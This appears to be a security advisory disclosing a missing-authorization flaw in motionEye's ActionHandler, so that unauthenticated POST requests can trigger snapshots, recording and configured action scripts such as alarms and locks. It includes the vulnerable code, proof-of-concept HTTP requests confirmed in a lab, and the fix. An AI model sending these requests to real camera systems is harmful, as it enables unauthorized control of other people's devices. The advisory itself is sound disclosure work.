The ActionHandler.post() method in motionEye has no authentication decorator, allowing any unauthenticated attacker to trigger camera actions including snapshots, recording start/stop, and configured action scripts (PTZ controls, alarm triggers, etc.).
File: motioneye/handlers/action.py — ActionHandler.post() line 36
CWE: CWE-862 — Missing Authorization
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N = 5.3 Medium
class ActionHandler(BaseHandler):
async def post(self, camera_id, action): # ← NO @BaseHandler.auth() decorator
camera_id = int(camera_id)
if camera_id not in config.get_camera_ids():
raise HTTPError(404, 'no such camera')
...
if action == 'snapshot':
await self.snapshot(camera_id) # executed without auth
return
elif action == 'record_start':
return self.record_start(camera_id)
elif action == 'record_stop':
return self.record_stop(camera_id)
action_commands = config.get_action_commands(local_config)
command = action_commands.get(action)
...
self.run_command_bg(command) # executes predefined shell scripts
Compare with other handlers that correctly require authentication:
@BaseHandler.auth(admin=True) # ← properly protected
async def delete(self, camera_id, filename):
...
POST /action/1/snapshot HTTP/1.1
Host: motioneye-host:8765
Content-Length: 0
{} (HTTP 200) response — snapshot triggered without any credentialsFor action scripts (lock, unlock, alarm_on, alarm_off, light_on, etc.):
POST /action/1/alarm_on HTTP/1.1
Host: motioneye-host:8765
Dynamically confirmed on v0.43.1 in Docker lab — POST /action/2/snapshot with no credentials returns HTTP 200 {}. Server log shows the action was processed (failed only because motion daemon was not running for the test camera, not due to an auth rejection).
class ActionHandler(BaseHandler):
@BaseHandler.auth() # add authentication requirement
async def post(self, camera_id, action):
...
{
"nvd_published_at": null,
"github_reviewed_at": "2026-06-23T18:37:51Z",
"cwe_ids": [
"CWE-862"
],
"severity": "MODERATE",
"github_reviewed": true
}